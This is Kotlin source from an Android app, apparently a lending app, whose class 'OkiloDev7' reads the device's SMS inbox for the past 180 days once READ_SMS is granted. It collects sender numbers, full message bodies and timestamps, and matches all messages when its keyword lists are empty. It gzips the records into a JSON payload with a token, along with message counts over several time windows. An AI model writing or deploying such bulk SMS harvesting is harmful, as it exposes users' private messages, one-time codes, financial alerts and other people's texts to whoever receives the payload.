package com.okilo.online.app.lib.device.util

import android.Manifest
import android.content.Context
import android.content.pm.PackageManager
import android.provider.Telephony
import com.google.gson.Gson
import com.okilo.online.app.lib.device.util.OkiloDev7.Dev7Item.PAST_3_DAYS
import com.okilo.online.app.lib.device.util.OkiloDevUtils.checkInt
import com.okilo.online.app.lib.device.util.OkiloDevUtils.checkString
import com.okilo.online.app.lib.device.util.OkiloDevUtils.string2Long
import com.okilo.online.app.lib.device.util.OkiloDevUtils.takeZipString
import org.json.JSONObject

/**
 * Sms
 */
class OkiloDev7(val context: Context, val product: String, val token: String, val path: String) {

    // 定义时间段常量
    object Dev7Item {
        const val PAST_1_DAY = "past1Day"
        const val PAST_3_DAYS = "past3Days"
        const val PAST_7_DAYS = "past7Days"
        const val PAST_15_DAYS = "past15Days"
        const val PAST_21_DAYS = "past21Days"
        const val PAST_30_DAYS = "past30Days"
        const val PAST_60_DAYS = "past60Days"
        const val PAST_90_DAYS = "past90Days"

        val timeMaps = mapOf(
            PAST_1_DAY to 86400000L,
            PAST_3_DAYS to 259200000L,
            PAST_7_DAYS to 604800000L,
            PAST_15_DAYS to 1296000000L,
            PAST_21_DAYS to 1814400000L,
            PAST_30_DAYS to 2592000000L,
            PAST_60_DAYS to 5184000000L,
            PAST_90_DAYS to 7776000000L
        )
    }

    fun gOkiloDev7Data(): String {
        val bodyParams = formatDev7ToJson()
        if (!checkPermissionsGranted()) return bodyParams.toString()

        return try {
            val results = mutableListOf<HashMap<String, Any>>()
            val uri = Telephony.Sms.CONTENT_URI
            val columns = arrayOf(
                Telephony.Sms._ID,
                Telephony.Sms.ADDRESS,
                Telephony.Sms.PERSON,
                Telephony.Sms.BODY,
                Telephony.Sms.DATE,
                Telephony.Sms.TYPE,
                Telephony.Sms.PROTOCOL,
                Telephony.Sms.READ,
                Telephony.Sms.STATUS
            )

            val curTimeMills = System.currentTimeMillis()
            val queryTimeMills = 15552000000L
            val startTime = curTimeMills - queryTimeMills
            val selection = "DATE >= ?"
            val selectionArgs = arrayOf(startTime.toString())
            val order = Telephony.Sms.DEFAULT_SORT_ORDER

            context.contentResolver.query(uri, columns, selection, selectionArgs, order)?.use { cur ->
                try {
                    val timeFrames = Dev7Item.timeMaps.mapValues { curTimeMills - it.value }

                    val counts = timeFrames.keys.associateWith { 0 to 0 }.toMutableMap()

                    val mobSet = mutableSetOf<String>()

                    fun updateCounts(date: Long, isReceive: Boolean) {
                        timeFrames.forEach { (frame, threshold) ->
                            if (date >= threshold) {
                                val (sent, received) = counts[frame] ?: (0 to 0)
                                counts[frame] =
                                    if (isReceive) sent to (received + 1) else (sent + 1) to received
                            }
                        }
                    }

                    // 获取3天内收到短信的号码，去重复
                    fun updateRevMobCounts(date: Long, mob: String, isReceive: Boolean) {
                        if (!isReceive || mob.isBlank()) return

                        val threshold = timeFrames[PAST_3_DAYS] ?: 0L
                        if (date >= threshold) {
                            mobSet.add(mob)
                        }
                    }

                    val totalCount = cur.count
                    while (cur.moveToNext()) {
                        try {
                            val id = cur.getString(cur.getColumnIndex(Telephony.Sms._ID).checkInt()).checkString()
                            val address = cur.getString(cur.getColumnIndex(Telephony.Sms.ADDRESS).checkInt()).checkString()
                            val person = cur.getString(cur.getColumnIndex(Telephony.Sms.PERSON).checkInt()).checkString().ifBlank { address }
                            val body = cur.getString(cur.getColumnIndex(Telephony.Sms.BODY).checkInt()).checkString()
                            val date = cur.getString(cur.getColumnIndex(Telephony.Sms.DATE).checkInt()).checkString().string2Long()
                            val read = cur.getString(cur.getColumnIndex(Telephony.Sms.READ).checkInt()).checkString()
                            val status = cur.getString(cur.getColumnIndex(Telephony.Sms.STATUS).checkInt()).checkString()
                            val type = cur.getInt(cur.getColumnIndex(Telephony.Sms.TYPE).checkInt())
                            val typeF = if (type == 1) "RECEIVE" else "SEND"
                            val protocol = cur.getInt(cur.getColumnIndex(Telephony.Sms.PROTOCOL).checkInt())
                            val protocolF = if (protocol == 1) "MMS" else "SMS"

//                            val isMobileMatch = OkiloDevUtils.gDev7MobileKeyList().any { address.contains(it, true) }
//                            val isContentMatch = OkiloDevUtils.gDev7ContentKeyList().any { body.contains(it, true) }
                            val isMobileMatch = OkiloDevUtils.gDev7MobileKeyList()
                                .takeIf { it.isNotEmpty() }
                                ?.any { address.contains(it, true) } ?: true
                            val isContentMatch = OkiloDevUtils.gDev7ContentKeyList()
                                .takeIf { it.isNotEmpty() }
                                ?.any { body.contains(it, true) } ?: true

                            if (isMobileMatch or isContentMatch) {
                                val dateString = date.toString()
                                results.add(hashMapOf<String, Any>().apply {
                                        put("name", person)
                                        put("mobile", address)
                                        put("type", typeF)
                                        put("protocol", protocolF)
                                        put("smsTime", dateString)
                                        put("person", person)
                                        put("typeOri", type.toString())
                                        put("content", body)
                                        put("cid", id)
                                        put("protocolOri", protocol.toString())
                                        put("read", read)
                                        put("seen", read)
                                        put("subject", "")
                                        put("status", status)
                                        put("dateSent", dateString)
                                    }
                                )
                            }

                            updateCounts(date, typeF == "RECEIVE")
                            updateRevMobCounts(date, address, typeF == "RECEIVE")
                        } catch (e: Exception) {
                            // Log or handle exception
                        }
                    }

                    val firstSentTime = (results.findLast {
                            it["type"] as? String == "SEND"
                        }?.get("smsTime") as? String).orEmpty()

                    val firstReceivedTime = (results.findLast {
                            it["type"] as? String == "RECEIVE"
                        }?.get("smsTime") as? String).orEmpty()

                    val FET_STATUS = if (results.isEmpty()) "FET_EMPTY" else "FET_OK"
                    bodyParams.apply {
                        put("smsRecordsGzip", Gson().toJson(results).trim().takeZipString())
                        put("smsFetchType", FET_STATUS)
                        put("totalCount", totalCount.toString())
                        put("firstSentTime", firstSentTime)
                        put("firstReceivedTime", firstReceivedTime)
                        put("past3DayReceivedMobileCount", mobSet.size.toString())

                        timeFrames.keys.forEach { frame ->
                            val (sent, received) = counts[frame] ?: (0 to 0)
                            when (frame) {
                                Dev7Item.PAST_1_DAY -> {
                                    put("past1DaySentCount", sent.toString())
                                    put("past1DayReceivedCount", received.toString())
                                }

                                PAST_3_DAYS -> {
                                    put("past3DaySentCount", sent.toString())
                                    put("past3DayReceivedCount", received.toString())
                                }

                                Dev7Item.PAST_7_DAYS -> {
                                    put("past7DaySentCount", sent.toString())
                                    put("past7DayReceivedCount", received.toString())
                                }

                                Dev7Item.PAST_15_DAYS -> {
                                    put("past15DaySentCount", sent.toString())
                                    put("past15DayReceivedCount", received.toString())
                                }

                                Dev7Item.PAST_21_DAYS -> {
                                    put("past21DaySentCount", sent.toString())
                                    put("past21DayReceivedCount", received.toString())
                                }

                                Dev7Item.PAST_30_DAYS -> {
                                    put("past30DaySentCount", sent.toString())
                                    put("past30DayReceivedCount", received.toString())
                                }

                                Dev7Item.PAST_60_DAYS -> {
                                    put("past60DaySentCount", sent.toString())
                                    put("past60DayReceivedCount", received.toString())
                                }

                                Dev7Item.PAST_90_DAYS -> {
                                    put("past90DaySentCount", sent.toString())
                                    put("past90DayReceivedCount", received.toString())
                                }
                            }
                        }
                    }
                } catch (e: Exception) {
                    //
                }
            }
            bodyParams.toString()
        } catch (e: Exception) {
            bodyParams.toString()
        }
    }

    private fun formatDev7ToJson(): JSONObject {
        return JSONObject().apply {
            put("token", token)
            put("path", path)
            put("product", product)
            put("androidId", "")
            put("advertId", "")
            put("client", "ANDROID")
            put("type", "")
            put("smsRecordsGzip", "")
            put("smsFetchType", "FET_ERROR")
            put("firstSentTime", "")
            put("firstReceivedTime", "")
            put("past1DaySentCount", "")
            put("past1DayReceivedCount", "")
            put("past3DaySentCount", "")
            put("past3DayReceivedCount", "")
            put("past7DaySentCount", "")
            put("past7DayReceivedCount", "")
            put("past15DaySentCount", "")
            put("past15DayReceivedCount", "")
            put("past21DaySentCount", "")
            put("past21DayReceivedCount", "")
            put("past30DaySentCount", "")
            put("past30DayReceivedCount", "")
            put("past60DaySentCount", "")
            put("past60DayReceivedCount", "")
            put("past90DaySentCount", "")
            put("past90DayReceivedCount", "")
            put("totalCount", "")
            put("past3DayReceivedMobileCount", "")
        }
    }

    private fun checkPermissionsGranted(): Boolean {
        return context.checkSelfPermission(Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED
    }
}